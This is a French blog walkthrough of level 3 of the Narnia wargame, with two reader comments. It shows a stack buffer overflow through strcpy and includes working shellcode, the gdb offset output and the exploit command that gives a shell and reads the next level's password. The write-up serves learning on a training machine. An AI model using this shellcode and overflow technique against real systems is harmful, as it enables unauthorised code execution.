Le niveau3 de Narnia continue dans la thématique des deux précédents. Nous avons vu comment écraser des données dans la mémoire (niveau 1), et ce qu'est un shellcode (niveau2).
Le code du niveau3 est le suivant:
Le code du niveau3 est le suivant:
/*
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int
main(
int
argc,
char
* argv[]){
char
buf[128];
if
(argc == 1){
printf
(
"Usage: %s argument\n"
, argv[0]);
exit
(1);
}
seteuid(1004);
strcpy
(buf,argv[1]);
printf
(
"%s"
, buf);
return
0;
}
L'exploitation semble moins triviale, mais n'importe quel programmeur peut constater la présence de la fonction strcpy qui va dupliquer dans un buffer de taille fixe (128 octets) le contenu de ce qui est passé en argument au programme, et qui donc peut faire plus de 128 octets. Il est donc possible d'écraser une partie de la mémoire avec un contenu que l'on maîtrise. Aucune variable n'est à remplacer, nous allons donc essayer de détourner le flux d'exécution du programme. Le programme va appeler strcpy, puis continuer le programme et faire le printf. Au lieu de lui faire appeler printf, forçons le à aller ailleurs. Le .gif animé du level1 de Narnia explique ça très bien.
Exploitation après le saut.
Le level2 parlait de variables d'environnements. Est-il possible d'en utiliser, i.e. placer un shellcode dans une variable d'environnement puis demander à l'exécuter? Oui, si on connaît son adresse. Et nous avons de la chance, les machines de Narnia ne randomizent pas l'espace:
level3@narnia:/tmp/aaa$ cat /proc/sys/kernel/randomize_va_space
0
Donc nous allons réutiliser le shellcode du level2:
level3@narnia:/tmp/aaa$ EGG=`printf '\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh'`
level3@narnia:/tmp/aaa$ export EGG
Puis écrire un programme permettant de connaître son adresse:
level3@narnia:/tmp/aaa$ cat envenv.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(void){
char *p = NULL;
p = getenv("EGG");
printf("@EGG= %p\r\n", p);
return 0;
}
level3@narnia:/tmp/aaa$ make envenv
cc envenv.c -o envenv
level3@narnia:/tmp/aaa$ /tmp/aaa/envenv
@EGG= 0xbffffc48
Attention, il est nécessaire que le nom du programme calculant l'adresse fasse la même taille que le programme victime: "/wargame/level3" = "/tmp/aaa/envenv". Pourquoi, car ce nom est enregistré dans la mémoire du processus (argv[0]), décalant ainsi l'adresse de la variable d'environnement.
Il est désormais nécessaire de savoir où on écrase l'adresse de retour à l'aide de la fonction strcpy. Quelques essais avec gdb donnent la solution:
(gdb) r `python -c "print 'a'*200"`
Starting program: /wargame/level3 `python -c "print 'a'*200"`
Program received signal SIGSEGV, Segmentation fault.
0x61616161 in ?? ()
(gdb) info reg
eax 0x0 0
ecx 0xb7fe0434 -1208089548
edx 0xb7fe1448 -1208085432
ebx 0xb7fdfff4 -1208090636
esp 0xbffffa10 0xbffffa10
ebp 0x61616161 0x61616161
esi 0x0 0
edi 0xb8000cc0 -1207956288
eip 0x61616161 0x61616161
eflags 0x10282 [ SF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
Avec quelques essais-erreurs, on observe que l'EIP est ecrasé à partir du 140e caractère entré.
L'EIP, c'est le pointeur d'instruction, c'est à dire que le programme va continuer à exécuter le code disponible à cette adresse. Le programme échoue ici (SIGSEGV) car il serait étonnant de trouver du code accessible et exécutable à 0x61616161 dans la mémoire.
L'adresse du shellcode est à 0xbffffc48, ce qui donne \x48\xfc\xff\xbf car les adresses s'écrivent à l'envers. L'exploitation devient donc:
level3@narnia:/tmp/aaa$ /wargame/level3 `python -c "print 'A'*140+'\x48\xfc\xff\xbf'"`
sh-3.1$ cat /home/level4/.passwd
qobiLKAU
sh-3.1$ exit
level3@narnia:/tmp/aaa$ su - level4
Password:
level4@narnia:~$
Exploitation propre. strcpy copie le buffer, écrase EIP avec une adresse. Le programme continue sur cette adresse, contenant un shellcode, exécution.sh-3.1$ cat /home/level4/.passwd
qobiLKAU
sh-3.1$ exit
level3@narnia:/tmp/aaa$ su - level4
Password:
level4@narnia:~$
Bonjour,
RépondreSupprimerSympa comme petit challenge pour ceux qui veulent apprendre. j'ai juste pas compris un détaille, à quoi bon utiliser des directives préprocesseur #include à répétition sans argument?
Les arguments des directives include sont entre symboles < et >. La plateforme blogger l'a pris pour un paramètre HTML et ne l'a donc pas affiché.
RépondreSupprimerC'est corrigé, merci.